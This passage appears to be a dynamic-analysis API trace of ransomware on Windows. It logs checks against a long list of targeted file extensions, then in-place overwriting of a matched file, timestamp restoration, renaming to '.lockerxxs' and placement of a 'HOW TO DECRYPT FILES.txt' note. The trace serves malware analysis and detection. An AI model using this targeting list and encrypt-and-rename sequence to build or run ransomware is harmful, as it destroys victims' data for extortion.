cIG.m4a", pszSpec="*.qbw") returned 0 [0087.478] lstrlenA (lpString="*.qbw") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qbb") returned 0 [0087.478] lstrlenA (lpString="*.qbb") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qbm") returned 0 [0087.478] lstrlenA (lpString="*.qbm") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qbo") returned 0 [0087.478] lstrlenA (lpString="*.qbo") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qbx") returned 0 [0087.478] lstrlenA (lpString="*.qbx") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qba") returned 0 [0087.478] lstrlenA (lpString="*.qba") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qby") returned 0 [0087.478] lstrlenA (lpString="*.qby") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qbj") returned 0 [0087.478] lstrlenA (lpString="*.qbj") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.ofx") returned 0 [0087.478] lstrlenA (lpString="*.ofx") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.qif") returned 0 [0087.479] lstrlenA (lpString="*.qif") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mye") returned 0 [0087.479] lstrlenA (lpString="*.mye") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mbox") returned 0 [0087.479] lstrlenA (lpString="*.mbox") returned 6 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.eml") returned 0 [0087.479] lstrlenA (lpString="*.eml") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.pst") returned 0 [0087.479] lstrlenA (lpString="*.pst") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.ost") returned 0 [0087.479] lstrlenA (lpString="*.ost") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.idx") returned 0 [0087.479] lstrlenA (lpString="*.idx") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.dbx") returned 0 [0087.479] lstrlenA (lpString="*.dbx") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.sql") returned 0 [0087.479] lstrlenA (lpString="*.sql") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mdb") returned 0 [0087.479] lstrlenA (lpString="*.mdb") returned 5 [0087.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.fdb") returned 0 [0087.480] lstrlenA (lpString="*.fdb") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.wab") returned 0 [0087.480] lstrlenA (lpString="*.wab") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.dat") returned 0 [0087.480] lstrlenA (lpString="*.dat") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.txt") returned 0 [0087.480] lstrlenA (lpString="*.txt") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.jpeg") returned 0 [0087.480] lstrlenA (lpString="*.jpeg") returned 6 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.jpg") returned 0 [0087.480] lstrlenA (lpString="*.jpg") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.png") returned 0 [0087.480] lstrlenA (lpString="*.png") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.php") returned 0 [0087.480] lstrlenA (lpString="*.php") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.cs") returned 0 [0087.480] lstrlenA (lpString="*.cs") returned 4 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.cpp") returned 0 [0087.480] lstrlenA (lpString="*.cpp") returned 5 [0087.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.rar") returned 0 [0087.481] lstrlenA (lpString="*.rar") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.zip") returned 0 [0087.481] lstrlenA (lpString="*.zip") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.html") returned 0 [0087.481] lstrlenA (lpString="*.html") returned 6 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.htm") returned 0 [0087.481] lstrlenA (lpString="*.htm") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.xlsx") returned 0 [0087.481] lstrlenA (lpString="*.xlsx") returned 6 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.xls") returned 0 [0087.481] lstrlenA (lpString="*.xls") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mp4") returned 0 [0087.481] lstrlenA (lpString="*.mp4") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.ppt") returned 0 [0087.481] lstrlenA (lpString="*.ppt") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.pptx") returned 0 [0087.481] lstrlenA (lpString="*.pptx") returned 6 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.doc") returned 0 [0087.481] lstrlenA (lpString="*.doc") returned 5 [0087.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.dot") returned 0 [0087.482] lstrlenA (lpString="*.dot") returned 5 [0087.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.docx") returned 0 [0087.493] lstrlenA (lpString="*.docx") returned 6 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.7z") returned 0 [0087.493] lstrlenA (lpString="*.7z") returned 4 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.tar") returned 0 [0087.493] lstrlenA (lpString="*.tar") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.bz2") returned 0 [0087.493] lstrlenA (lpString="*.bz2") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.gz") returned 0 [0087.493] lstrlenA (lpString="*.gz") returned 4 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mkv") returned 0 [0087.493] lstrlenA (lpString="*.mkv") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.eml") returned 0 [0087.493] lstrlenA (lpString="*.eml") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.msg") returned 0 [0087.493] lstrlenA (lpString="*.msg") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.edb") returned 0 [0087.493] lstrlenA (lpString="*.edb") returned 5 [0087.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.accdb") returned 0 [0087.494] lstrlenA (lpString="*.accdb") returned 7 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.odb") returned 0 [0087.494] lstrlenA (lpString="*.odb") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.java") returned 0 [0087.494] lstrlenA (lpString="*.java") returned 6 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.asm") returned 0 [0087.494] lstrlenA (lpString="*.asm") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.pfx") returned 0 [0087.494] lstrlenA (lpString="*.pfx") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.pem") returned 0 [0087.494] lstrlenA (lpString="*.pem") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.p12") returned 0 [0087.494] lstrlenA (lpString="*.p12") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.gpg") returned 0 [0087.494] lstrlenA (lpString="*.gpg") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.vsd") returned 0 [0087.494] lstrlenA (lpString="*.vsd") returned 5 [0087.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.odg") returned 0 [0087.495] lstrlenA (lpString="*.odg") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.raw") returned 0 [0087.495] lstrlenA (lpString="*.raw") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.nef") returned 0 [0087.495] lstrlenA (lpString="*.nef") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.svg") returned 0 [0087.495] lstrlenA (lpString="*.svg") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.psd") returned 0 [0087.495] lstrlenA (lpString="*.psd") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.vmx") returned 0 [0087.495] lstrlenA (lpString="*.vmx") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.vmdk") returned 0 [0087.495] lstrlenA (lpString="*.vmdk") returned 6 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.vdi") returned 0 [0087.495] lstrlenA (lpString="*.vdi") returned 5 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.lay6") returned 0 [0087.495] lstrlenA (lpString="*.lay6") returned 6 [0087.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mpeg") returned 0 [0087.496] lstrlenA (lpString="*.mpeg") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.djvu") returned 0 [0087.496] lstrlenA (lpString="*.djvu") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.tiff") returned 0 [0087.496] lstrlenA (lpString="*.tiff") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.backup") returned 0 [0087.496] lstrlenA (lpString="*.backup") returned 8 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.pdf") returned 0 [0087.496] lstrlenA (lpString="*.pdf") returned 5 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.cert") returned 0 [0087.496] lstrlenA (lpString="*.cert") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.docm") returned 0 [0087.496] lstrlenA (lpString="*.docm") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.xlsm") returned 0 [0087.496] lstrlenA (lpString="*.xlsm") returned 6 [0087.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.dwg") returned 0 [0087.496] lstrlenA (lpString="*.dwg") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.nd") returned 0 [0087.497] lstrlenA (lpString="*.nd") returned 4 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.tlg") returned 0 [0087.497] lstrlenA (lpString="*.tlg") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.lgb") returned 0 [0087.497] lstrlenA (lpString="*.lgb") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mov") returned 0 [0087.497] lstrlenA (lpString="*.mov") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.xdw") returned 0 [0087.497] lstrlenA (lpString="*.xdw") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.ods") returned 0 [0087.497] lstrlenA (lpString="*.ods") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.wav") returned 0 [0087.497] lstrlenA (lpString="*.wav") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.mp3") returned 0 [0087.497] lstrlenA (lpString="*.mp3") returned 5 [0087.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.aiff") returned 0 [0087.497] lstrlenA (lpString="*.aiff") returned 6 [0087.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.flac") returned 0 [0087.498] lstrlenA (lpString="*.flac") returned 6 [0087.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.m4a") returned 1 [0087.498] lstrlenA (lpString="*.m4a") returned 5 [0087.498] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" [0087.498] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" [0087.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a." [0087.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a.lockerxxs" [0087.498] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\if678ts2pzd cig.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.499] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x151f2 [0087.499] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8ee4e620, dwHighDateTime=0x1d5d9ed), lpLastAccessTime=0x407536*(dwLowDateTime=0x538bde60, dwHighDateTime=0x1d5e4d5), lpLastWriteTime=0x40753e*(dwLowDateTime=0x538bde60, dwHighDateTime=0x1d5e4d5)) returned 1 [0087.499] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.499] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x151cc, lpOverlapped=0x0) returned 1 [0087.502] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a") returned="IF678ts2pzD cIG.m4a" [0087.503] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.503] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x151cc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x151cc, lpOverlapped=0x0) returned 1 [0087.503] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.503] CloseHandle (hObject=0x8c) returned 1 [0087.504] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\if678ts2pzd cig.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\if678ts2pzd cig.m4a.lockerxxs")) returned 1 [0087.505] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x181ceae0, ftCreationTime.dwHighDateTime=0x1d5e73c, ftLastAccessTime.dwLowDateTime=0xda30880, ftLastAccessTime.dwHighDateTime=0x1d5e0d2, ftLastWriteTime.dwLowDateTime=0xda30880, ftLastWriteTime.dwHighDateTime=0x1d5e0d2, nFileSizeHigh=0x0, nFileSizeLow=0xf60f, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="J5dmj4BC_F.png", cAlternateFileName="J5DMJ4~1.PNG")) returned 1 [0087.505] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="J5dmj4BC_F.png") returned -1 [0087.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="J5dmj4BC_F.png") returned -1 [0087.505] lstrcmpiA (lpString1="", lpString2="J5dmj4BC_F.png") returned -1 [0087.505] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a") returned="IF678ts2pzD cIG.m4a" [0087.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.506] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.506] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="J5dmj4BC_F.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png" [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.ems") returned 0 [0087.506] lstrlenA (lpString="*.ems") returned 5 [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.db") returned 0 [0087.506] lstrlenA (lpString="*.db") returned 4 [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.dbf") returned 0 [0087.506] lstrlenA (lpString="*.dbf") returned 5 [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.myox") returned 0 [0087.506] lstrlenA (lpString="*.myox") returned 6 [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", pszSpec="*.myo") returned 0 [0087.506] lstrlenA (lpString="*.myo") returned 5 [0087.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\J5dmj4BC_F.png", 